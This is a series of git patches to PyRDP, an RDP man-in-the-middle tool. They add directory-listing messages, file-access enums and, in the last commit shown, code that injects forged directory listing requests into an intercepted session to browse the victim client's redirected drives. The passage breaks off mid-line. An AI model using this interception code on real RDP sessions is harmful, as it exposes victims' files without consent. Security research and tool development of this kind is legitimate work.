newline at end of file From 2e8aaf92b2d5da05513b0368b1612c15bd3a68c0 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 13:12:56 -0400 Subject: [PATCH 087/113] Add PlayerDirectoryListingResponsePDU --- pyrdp/enum/player.py | 1 + pyrdp/parser/player.py | 34 ++++++++++++++++++++++++++-------- pyrdp/pdu/__init__.py | 4 ++-- pyrdp/pdu/player.py | 10 +++++++++- 4 files changed, 38 insertions(+), 11 deletions(-) diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index 834508d93..78f8e711b 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -22,6 +22,7 @@ class PlayerPDUType(IntEnum): BITMAP = 14 # Bitmap event from the player DEVICE_MAPPING = 15 # Device mapping event notification DIRECTORY_LISTING_REQUEST = 16 # Directory listing request from the player + DIRECTORY_LISTING_RESPONSE = 17 # Directory listing response to the player class MouseButton(IntEnum): diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 8ae0c5061..22d3ca10f 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -4,8 +4,8 @@ from pyrdp.enum import DeviceType, MouseButton, PlayerPDUType from pyrdp.parser.segmentation import SegmentationParser from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ - PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ - PlayerPDU, PlayerTextPDU, PlayerDirectoryListingRequestPDU + PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, \ + PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU class PlayerParser(SegmentationParser): @@ -23,6 +23,7 @@ def __init__(self): PlayerPDUType.BITMAP: self.parseBitmap, PlayerPDUType.DEVICE_MAPPING: self.parseDeviceMapping, PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.parseDirectoryListingRequest, + PlayerPDUType.DIRECTORY_LISTING_RESPONSE: self.parseDirectoryListingResponse, } self.writers = { @@ -36,6 +37,7 @@ def __init__(self): PlayerPDUType.BITMAP: self.writeBitmap, PlayerPDUType.DEVICE_MAPPING: self.writeDeviceMapping, PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.writeDirectoryListingRequest, + PlayerPDUType.DIRECTORY_LISTING_RESPONSE: self.writeDirectoryListingResponse, } @@ -53,14 +55,14 @@ def parse(self, data: bytes) -> PlayerPDU: stream = BytesIO(data) length = Uint64LE.unpack(stream) - type = PlayerPDUType(Uint16LE.unpack(stream)) + pduType = PlayerPDUType(Uint16LE.unpack(stream)) timestamp = Uint64LE.unpack(stream) - if type in self.parsers: - return self.parsers[type](stream, timestamp) + if pduType in self.parsers: + return self.parsers[pduType](stream, timestamp) payload = stream.read(length - 18) - return PlayerPDU(type, timestamp, payload) + return PlayerPDU(pduType, timestamp, payload) def write(self, pdu: PlayerPDU) -> bytes: substream = BytesIO() @@ -81,7 +83,7 @@ def write(self, pdu: PlayerPDU) -> bytes: return stream.getvalue() - def parseConnectionClose(self, stream: BytesIO, timestamp: int) -> PlayerConnectionClosePDU: + def parseConnectionClose(self, _: BytesIO, timestamp: int) -> PlayerConnectionClosePDU: return PlayerConnectionClosePDU(timestamp) def writeConnectionClose(self, pdu: PlayerConnectionClosePDU, stream: BytesIO): @@ -218,4 +220,20 @@ def writeDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU, st Uint32LE.pack(pdu.deviceID) Uint32LE.pack(len(path), stream) - stream.write(path) \ No newline at end of file + stream.write(path) + + + def parseDirectoryListingResponse(self, stream: BytesIO, timestamp: int) -> PlayerDirectoryListingResponsePDU: + deviceID = Uint32LE.unpack(stream) + isDone = bool(Uint8.unpack(stream)) + length = Uint32LE.unpack(stream) + fileName = stream.read(length).decode() + return PlayerDirectoryListingResponsePDU(timestamp, deviceID, isDone, fileName) + + def writeDirectoryListingResponse(self, pdu: PlayerDirectoryListingResponsePDU, stream: BytesIO): + fileName = pdu.fileName.encode() + + Uint32LE.pack(pdu.deviceID) + Uint8.pack(int(pdu.isDone)) + Uint32LE.pack(len(fileName), stream) + stream.write(fileName) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 41a82d6d7..867edc11c 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -10,8 +10,8 @@ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ - PlayerDirectoryListingRequestPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, \ - PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU + PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, \ + PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index 1aa4c7077..bdb295f29 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -141,4 +141,12 @@ class PlayerDirectoryListingRequestPDU(PlayerPDU): def __init__(self, timestamp: int, deviceID: int, path: str): super().__init__(PlayerPDUType.DIRECTORY_LISTING_REQUEST, timestamp, b"") self.deviceID = deviceID - self.path = path \ No newline at end of file + self.path = path + + +class PlayerDirectoryListingResponsePDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, isDone: bool, fileName: str): + super().__init__(PlayerPDUType.DIRECTORY_LISTING_RESPONSE, timestamp, b"") + self.deviceID = deviceID + self.isDone = isDone + self.fileName = fileName \ No newline at end of file From 33cd7b3a9c59a8f73c0b349d65632e2aa4d818d0 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 13:59:28 -0400 Subject: [PATCH 088/113] Rename fileName to filePath for player directory responses --- pyrdp/parser/player.py | 10 +++++----- pyrdp/pdu/player.py | 4 ++-- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 22d3ca10f..79f5aa654 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -227,13 +227,13 @@ def parseDirectoryListingResponse(self, stream: BytesIO, timestamp: int) -> Play deviceID = Uint32LE.unpack(stream) isDone = bool(Uint8.unpack(stream)) length = Uint32LE.unpack(stream) - fileName = stream.read(length).decode() - return PlayerDirectoryListingResponsePDU(timestamp, deviceID, isDone, fileName) + filePath = stream.read(length).decode() + return PlayerDirectoryListingResponsePDU(timestamp, deviceID, isDone, filePath) def writeDirectoryListingResponse(self, pdu: PlayerDirectoryListingResponsePDU, stream: BytesIO): - fileName = pdu.fileName.encode() + filePath = pdu.filePath.encode() Uint32LE.pack(pdu.deviceID) Uint8.pack(int(pdu.isDone)) - Uint32LE.pack(len(fileName), stream) - stream.write(fileName) \ No newline at end of file + Uint32LE.pack(len(filePath), stream) + stream.write(filePath) \ No newline at end of file diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index bdb295f29..a2d977d3e 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -145,8 +145,8 @@ def __init__(self, timestamp: int, deviceID: int, path: str): class PlayerDirectoryListingResponsePDU(PlayerPDU): - def __init__(self, timestamp: int, deviceID: int, isDone: bool, fileName: str): + def __init__(self, timestamp: int, deviceID: int, isDone: bool, filePath: str): super().__init__(PlayerPDUType.DIRECTORY_LISTING_RESPONSE, timestamp, b"") self.deviceID = deviceID self.isDone = isDone - self.fileName = fileName \ No newline at end of file + self.filePath = filePath \ No newline at end of file From ab459e49731f5ee82127c1fe85e2981492374340 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 14:13:59 -0400 Subject: [PATCH 089/113] Remove isDone field --- pyrdp/parser/player.py | 4 +--- pyrdp/pdu/player.py | 3 +-- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 79f5aa654..9211b4e75 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -225,15 +225,13 @@ def writeDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU, st def parseDirectoryListingResponse(self, stream: BytesIO, timestamp: int) -> PlayerDirectoryListingResponsePDU: deviceID = Uint32LE.unpack(stream) - isDone = bool(Uint8.unpack(stream)) length = Uint32LE.unpack(stream) filePath = stream.read(length).decode() - return PlayerDirectoryListingResponsePDU(timestamp, deviceID, isDone, filePath) + return PlayerDirectoryListingResponsePDU(timestamp, deviceID, filePath) def writeDirectoryListingResponse(self, pdu: PlayerDirectoryListingResponsePDU, stream: BytesIO): filePath = pdu.filePath.encode() Uint32LE.pack(pdu.deviceID) - Uint8.pack(int(pdu.isDone)) Uint32LE.pack(len(filePath), stream) stream.write(filePath) \ No newline at end of file diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index a2d977d3e..9ece853dd 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -145,8 +145,7 @@ def __init__(self, timestamp: int, deviceID: int, path: str): class PlayerDirectoryListingResponsePDU(PlayerPDU): - def __init__(self, timestamp: int, deviceID: int, isDone: bool, filePath: str): + def __init__(self, timestamp: int, deviceID: int, filePath: str): super().__init__(PlayerPDUType.DIRECTORY_LISTING_RESPONSE, timestamp, b"") self.deviceID = deviceID - self.isDone = isDone self.filePath = filePath \ No newline at end of file From 3f1f52dfbe0fe8674ed1500eb8b1b64a2e29812f Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 14:15:42 -0400 Subject: [PATCH 090/113] Add documentation for __init__ methods of directory listing PDUs --- pyrdp/pdu/player.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index 9ece853dd..e5b4ab44d 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -139,6 +139,12 @@ def __init__(self, timestamp: int, deviceID: int, deviceType: DeviceType, name: class PlayerDirectoryListingRequestPDU(PlayerPDU): def __init__(self, timestamp: int, deviceID: int, path: str): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param path: path of the directory to list. The path should be a Unix-style path. + """ + super().__init__(PlayerPDUType.DIRECTORY_LISTING_REQUEST, timestamp, b"") self.deviceID = deviceID self.path = path @@ -146,6 +152,12 @@ def __init__(self, timestamp: int, deviceID: int, path: str): class PlayerDirectoryListingResponsePDU(PlayerPDU): def __init__(self, timestamp: int, deviceID: int, filePath: str): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param path: Unix-style path of the file. + """ + super().__init__(PlayerPDUType.DIRECTORY_LISTING_RESPONSE, timestamp, b"") self.deviceID = deviceID self.filePath = filePath \ No newline at end of file From ba6ce4852b36f292a20847daba47fdc8ea70b199 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 15:16:39 -0400 Subject: [PATCH 091/113] I love enums. Don't you? :) --- pyrdp/enum/__init__.py | 5 +- .../virtual_channel/device_redirection.py | 88 ++++++++++++++++++- 2 files changed, 90 insertions(+), 3 deletions(-) diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index 847b9d212..a89ba5096 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -15,7 +15,8 @@ from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \ ClipboardMessageType from pyrdp.enum.virtual_channel.device_redirection import CreateOption, DeviceRedirectionComponent, \ - DeviceRedirectionPacketID, DeviceType, FileAccess, FileAttributes, FileSystemInformationClass, \ - GeneralCapabilityVersion, IOOperationSeverity, MajorFunction, MinorFunction, RDPDRCapabilityType + DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccess, FileAccessMask, FileAttributes, \ + FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, GeneralCapabilityVersion, \ + IOOperationSeverity, MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.enum.virtual_channel.virtual_channel import VirtualChannelPDUFlag from pyrdp.enum.x224 import X224PDUType diff --git a/pyrdp/enum/virtual_channel/device_redirection.py b/pyrdp/enum/virtual_channel/device_redirection.py index 18dca576a..0c7ba6323 100644 --- a/pyrdp/enum/virtual_channel/device_redirection.py +++ b/pyrdp/enum/virtual_channel/device_redirection.py @@ -184,6 +184,7 @@ class FileSystemInformationClass(IntEnum): class FileAttributes(IntFlag): + FILE_ATTRIBUTE_NONE = 0x00000000 FILE_ATTRIBUTE_ARCHIVE = 0x00000020 FILE_ATTRIBUTE_COMPRESSED = 0x00000800 FILE_ATTRIBUTE_DIRECTORY = 0x00000010 @@ -198,4 +199,89 @@ class FileAttributes(IntFlag): FILE_ATTRIBUTE_SYSTEM = 0x00000004 FILE_ATTRIBUTE_TEMPORARY = 0x00000100 FILE_ATTRIBUTE_INTEGRITY_STREAM = 0x00008000 - FILE_ATTRIBUTE_NO_SCRUB_DATA = 0x00020000 \ No newline at end of file + FILE_ATTRIBUTE_NO_SCRUB_DATA = 0x00020000 + + +class FileAccessMask(IntFlag): + FILE_READ_DATA = 0x00000001 + FILE_WRITE_DATA = 0x00000002 + FILE_APPEND_DATA = 0x00000004 + FILE_READ_EA = 0x00000008 + FILE_WRITE_EA = 0x00000010 + FILE_DELETE_CHILD = 0x00000040 + FILE_EXECUTE = 0x00000020 + FILE_READ_ATTRIBUTES = 0x00000080 + FILE_WRITE_ATTRIBUTES = 0x00000100 + DELETE = 0x00010000 + READ_CONTROL = 0x00020000 + WRITE_DAC = 0x00040000 + WRITE_OWNER = 0x00080000 + SYNCHRONIZE = 0x00100000 + ACCESS_SYSTEM_SECURITY = 0x01000000 + MAXIMUM_ALLOWED = 0x02000000 + GENERIC_ALL = 0x10000000 + GENERIC_EXECUTE = 0x20000000 + GENERIC_WRITE = 0x40000000 + GENERIC_READ = 0x80000000 + + +class DirectoryAccessMask(IntFlag): + FILE_LIST_DIRECTORY = 0x00000001 + FILE_ADD_FILE = 0x00000002 + FILE_ADD_SUBDIRECTORY = 0x00000004 + FILE_READ_EA = 0x00000008 + FILE_WRITE_EA = 0x00000010 + FILE_TRAVERSE = 0x00000020 + FILE_DELETE_CHILD = 0x00000040 + FILE_READ_ATTRIBUTES = 0x00000080 + FILE_WRITE_ATTRIBUTES = 0x00000100 + DELETE = 0x00010000 + READ_CONTROL = 0x00020000 + WRITE_DAC = 0x00040000 + WRITE_OWNER = 0x00080000 + SYNCHRONIZE = 0x00100000 + ACCESS_SYSTEM_SECURITY = 0x01000000 + MAXIMUM_ALLOWED = 0x02000000 + GENERIC_ALL = 0x10000000 + GENERIC_EXECUTE = 0x20000000 + GENERIC_WRITE = 0x40000000 + GENERIC_READ = 0x80000000 + + +class FileShareAccess(IntFlag): + FILE_SHARE_READ = 0x00000001 + FILE_SHARE_WRITE = 0x00000002 + FILE_SHARE_DELETE = 0x00000004 + + +class FileCreateDisposition(IntFlag): + FILE_SUPERSEDE = 0x00000000 + FILE_OPEN = 0x00000001 + FILE_CREATE = 0x00000002 + FILE_OPEN_IF = 0x00000003 + FILE_OVERWRITE = 0x00000004 + FILE_OVERWRITE_IF = 0x00000005 + + +class FileCreateOptions(IntFlag): + FILE_DIRECTORY_FILE = 0x00000001 + FILE_WRITE_THROUGH = 0x00000002 + FILE_SEQUENTIAL_ONLY = 0x00000004 + FILE_NO_INTERMEDIATE_BUFFERING = 0x00000008 + FILE_SYNCHRONOUS_IO_ALERT = 0x00000010 + FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020 + FILE_NON_DIRECTORY_FILE = 0x00000040 + FILE_COMPLETE_IF_OPLOCKED = 0x00000100 + FILE_NO_EA_KNOWLEDGE = 0x00000200 + FILE_RANDOM_ACCESS = 0x00000800 + FILE_DELETE_ON_CLOSE = 0x00001000 + FILE_OPEN_BY_FILE_ID = 0x00002000 + FILE_OPEN_FOR_BACKUP_INTENT = 0x00004000 + FILE_NO_COMPRESSION = 0x00008000 + FILE_OPEN_REMOTE_INSTANCE = 0x00000400 + FILE_OPEN_REQUIRING_OPLOCK = 0x00010000 + FILE_DISALLOW_EXCLUSIVE = 0x00020000 + FILE_RESERVE_OPFILTER = 0x00100000 + FILE_OPEN_REPARSE_POINT = 0x00200000 + FILE_OPEN_NO_RECALL = 0x00400000 + FILE_OPEN_FOR_FREE_SPACE_QUERY = 0x00800000 \ No newline at end of file From bc7ec87f41e87c3af87d304f80abbc3473b65afe Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 15:18:23 -0400 Subject: [PATCH 092/113] Change FileCreateDisposition to IntEnum --- pyrdp/enum/virtual_channel/device_redirection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/enum/virtual_channel/device_redirection.py b/pyrdp/enum/virtual_channel/device_redirection.py index 0c7ba6323..33237f3af 100644 --- a/pyrdp/enum/virtual_channel/device_redirection.py +++ b/pyrdp/enum/virtual_channel/device_redirection.py @@ -254,7 +254,7 @@ class FileShareAccess(IntFlag): FILE_SHARE_DELETE = 0x00000004 -class FileCreateDisposition(IntFlag): +class FileCreateDisposition(IntEnum): FILE_SUPERSEDE = 0x00000000 FILE_OPEN = 0x00000001 FILE_CREATE = 0x00000002 From 92dfb1fa3164a8984bf58345a6b9a66b9ae9ce1e Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 16:57:43 -0400 Subject: [PATCH 093/113] Implement directory listing on the MITM side --- pyrdp/enum/__init__.py | 2 +- .../virtual_channel/device_redirection.py | 31 +-- pyrdp/mitm/AttackerMITM.py | 54 +++++- pyrdp/mitm/DeviceRedirectionMITM.py | 176 ++++++++++++++++-- pyrdp/mitm/mitm.py | 9 +- pyrdp/parser/player.py | 6 +- .../rdp/virtual_channel/device_redirection.py | 19 +- pyrdp/pdu/player.py | 5 +- .../rdp/virtual_channel/device_redirection.py | 7 +- 9 files changed, 245 insertions(+), 64 deletions(-) diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index a89ba5096..1e7629842 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -15,7 +15,7 @@ from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \ ClipboardMessageType from pyrdp.enum.virtual_channel.device_redirection import CreateOption, DeviceRedirectionComponent, \ - DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccess, FileAccessMask, FileAttributes, \ + DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \ FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, GeneralCapabilityVersion, \ IOOperationSeverity, MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.enum.virtual_channel.virtual_channel import VirtualChannelPDUFlag diff --git a/pyrdp/enum/virtual_channel/device_redirection.py b/pyrdp/enum/virtual_channel/device_redirection.py index 33237f3af..a1c64f8a0 100644 --- a/pyrdp/enum/virtual_channel/device_redirection.py +++ b/pyrdp/enum/virtual_channel/device_redirection.py @@ -70,33 +70,6 @@ class IOOperationSeverity(IntEnum): STATUS_SEVERITY_ERROR = 0x3 -class FileAccess(IntEnum): - """ - https://msdn.microsoft.com/en-us/library/cc246802.aspx - """ - - FILE_READ_DATA = 0x00000001 - FILE_WRITE_DATA = 0x00000002 - FILE_APPEND_DATA = 0x00000004 - FILE_READ_EA = 0x00000008 - FILE_WRITE_EA = 0x00000010 - FILE_DELETE_CHILD = 0x00000040 - FILE_EXECUTE = 0x00000020 - FILE_READ_ATTRIBUTES = 0x00000080 - FILE_WRITE_ATTRIBUTES = 0x00000100 - DELETE = 0x00010000 - READ_CONTROL = 0x00020000 - WRITE_DAC = 0x00040000 - WRITE_OWNER = 0x00080000 - SYNCHRONIZE = 0x00100000 - ACCESS_SYSTEM_SECURITY = 0x01000000 - MAXIMUM_ALLOWED = 0x02000000 - GENERIC_ALL = 0x10000000 - GENERIC_EXECUTE = 0x20000000 - GENERIC_WRITE = 0x40000000 - GENERIC_READ = 0x80000000 - - class CreateOption(IntEnum): FILE_DIRECTORY_FILE = 0x00000001 FILE_WRITE_THROUGH = 0x00000002 @@ -203,6 +176,10 @@ class FileAttributes(IntFlag): class FileAccessMask(IntFlag): + """ + https://msdn.microsoft.com/en-us/library/cc246802.aspx + """ + FILE_READ_DATA = 0x00000001 FILE_WRITE_DATA = 0x00000002 FILE_APPEND_DATA = 0x00000004 diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 74e1480d7..cff1643f7 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -4,18 +4,20 @@ # Licensed under the GPLv3 or later. # from logging import LoggerAdapter -from typing import Dict +from pathlib import Path +from typing import Dict, Optional from pyrdp.enum import FastPathInputType, FastPathOutputType, MouseButton, PlayerPDUType, PointerFlag, ScanCodeTuple from pyrdp.layer import FastPathLayer, PlayerLayer -from pyrdp.mitm.DeviceRedirectionMITM import DeviceRedirectionMITMObserver +from pyrdp.mitm.DeviceRedirectionMITM import DeviceRedirectionMITM, DeviceRedirectionMITMObserver from pyrdp.mitm.MITMRecorder import MITMRecorder from pyrdp.mitm.state import RDPMITMState from pyrdp.parser import BitmapParser from pyrdp.pdu import BitmapUpdateData, DeviceAnnounce, FastPathBitmapEvent, FastPathInputEvent, FastPathMouseEvent, \ FastPathOutputEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, PlayerBitmapPDU, \ - PlayerDeviceMappingPDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ - PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU + PlayerDeviceMappingPDU, PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, \ + PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU class AttackerMITM(DeviceRedirectionMITMObserver): @@ -42,6 +44,8 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, attacker: Playe self.state = state self.recorder = recorder self.devices: Dict[int, DeviceAnnounce] = {} + self.deviceRedirection: Optional[DeviceRedirectionMITM] = None + self.directoryListingRequests: Dict[int, Path] = {} self.attacker.createObserver( onPDUReceived = self.onPDUReceived, @@ -55,8 +59,18 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, attacker: Playe PlayerPDUType.TEXT: self.handleText, PlayerPDUType.FORWARDING_STATE: self.handleForwardingState, PlayerPDUType.BITMAP: self.handleBitmap, + PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.handleDirectoryListingRequest, } + def setDeviceRedirectionComponent(self, deviceRedirection: DeviceRedirectionMITM): + if self.deviceRedirection: + self.deviceRedirection.removeObserver(self) + + if deviceRedirection: + deviceRedirection.addObserver(self) + + self.deviceRedirection = deviceRedirection + def onPDUReceived(self, pdu: PlayerPDU): if pdu.header in self.handlers: @@ -162,4 +176,34 @@ def onDeviceAnnounce(self, device: DeviceAnnounce): self.devices[device.deviceID] = device pdu = PlayerDeviceMappingPDU(self.attacker.getCurrentTimeStamp(), device.deviceID, device.deviceType, device.preferredDOSName) - self.recorder.record(pdu, pdu.header) \ No newline at end of file + self.recorder.record(pdu, pdu.header) + + + def handleDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU): + if self.deviceRedirection is None: + self.log.error("A directory listing request was received from the player, but the channel was not initialized.") + return + + listingPath = str(Path(pdu.path).absolute()).replace("/", "\\") + + if not listingPath.endswith("*"): + if not listingPath.endswith("\\"): + listingPath += "\\" + + listingPath += "*" + + requestID = self.deviceRedirection.sendForgedDirectoryListing(pdu.deviceID, listingPath) + self.directoryListingRequests[requestID] = Path(pdu.path).absolute() + + def onDirectoryListingResult(self, requestID: int, deviceID: int, fileName: str, isDirectory: bool): + if requestID not in self.directoryListingRequests: + return + + path = self.directoryListingRequests[requestID] + filePath = path / fileName + + pdu = PlayerDirectoryListingResponsePDU(self.attacker.getCurrentTimeStamp(), deviceID, str(filePath), isDirectory) + self.attacker.sendPDU(pdu) + + def onDirectoryListingComplete(self, requestID: int): + self.directoryListingRequests.pop(requestID, None) \ No newline at end of file diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index 52a494066..8df97fa4c 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -8,15 +8,18 @@ import json from logging import LoggerAdapter from pathlib import Path -from typing import Dict +from typing import Dict, List, Union -from pyrdp.core import decodeUTF16LE, FileProxy, ObservedBy, Observer, Subject -from pyrdp.enum import CreateOption, DeviceType, FileAccess, IOOperationSeverity, MajorFunction +from pyrdp.core import FileProxy, ObservedBy, Observer, Subject +from pyrdp.enum import CreateOption, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \ + FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, IOOperationSeverity, \ + MajorFunction, MinorFunction from pyrdp.layer import DeviceRedirectionLayer from pyrdp.mitm.config import MITMConfig from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \ - DeviceCreateResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, \ + DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \ + DeviceListAnnounceRequest, DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, \ DeviceReadResponsePDU, DeviceRedirectionPDU @@ -24,6 +27,12 @@ class DeviceRedirectionMITMObserver(Observer): def onDeviceAnnounce(self, device: DeviceAnnounce): pass + def onDirectoryListingResult(self, requestID: int, deviceID: int, fileName: str, isDirectory: bool): + pass + + def onDirectoryListingComplete(self, requestID: int): + pass + @ObservedBy(DeviceRedirectionMITMObserver) class DeviceRedirectionMITM(Subject): @@ -35,6 +44,9 @@ class DeviceRedirectionMITM(Subject): with identical files. """ + FORGED_COMPLETION_ID = 1000000 + + def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig): """ :param client: device redirection layer for the client side @@ -53,11 +65,15 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye self.openedMappings: Dict[int, FileMapping] = {} self.fileMap: Dict[str, FileMapping] = {} self.fileMapPath = self.config.outDir / "mapping.json" + self.directoryListingRequests: List[int] = [] + self.directoryListingPaths: Dict[int, str] = {} + self.directoryListingFileIDs: Dict[int, int] = {} self.responseHandlers: Dict[MajorFunction, callable] = { MajorFunction.IRP_MJ_CREATE: self.handleCreateResponse, MajorFunction.IRP_MJ_READ: self.handleReadResponse, MajorFunction.IRP_MJ_CLOSE: self.handleCloseResponse, + MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.handleDirectoryControl, } self.client.createObserver( @@ -96,15 +112,19 @@ def handlePDU(self, pdu: DeviceRedirectionPDU, destination: DeviceRedirectionLay :param pdu: the PDU that was received :param destination: the destination layer """ + dropPDU = False if isinstance(pdu, DeviceIORequestPDU) and destination is self.client: self.handleIORequest(pdu) elif isinstance(pdu, DeviceIOResponsePDU) and destination is self.server: + dropPDU = pdu.completionID in self.directoryListingRequests self.handleIOResponse(pdu) + elif isinstance(pdu, DeviceListAnnounceRequest): self.handleDeviceListAnnounceRequest(pdu) - destination.sendPDU(pdu) + if not dropPDU: + destination.sendPDU(pdu) def handleIORequest(self, pdu: DeviceIORequestPDU): """ @@ -121,14 +141,13 @@ def handleIOResponse(self, pdu: DeviceIOResponsePDU): """ if pdu.completionID in self.currentIORequests: - requestPDU = self.currentIORequests[pdu.completionID] + requestPDU = self.currentIORequests.pop(pdu.completionID) + if pdu.ioStatus >> 30 == IOOperationSeverity.STATUS_SEVERITY_ERROR: self.log.warning("Received an IO Response with an error IO status: %(responsePDU)s for request %(requestPDU)s", {"responsePDU": repr(pdu), "requestPDU": repr(requestPDU)}) if pdu.majorFunction in self.responseHandlers: self.responseHandlers[pdu.majorFunction](requestPDU, pdu) - - self.currentIORequests.pop(pdu.completionID) else: self.log.error("Received IO response to unknown request #%(completionID)d", {"completionID": pdu.completionID}) @@ -155,12 +174,16 @@ def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: Device :param request: the device create request :param response: the device IO response to the request """ + if response.completionID in self.directoryListingRequests: + self.handleForgedDirectoryOpen(response) + return - isFileRead = request.desiredAccess & 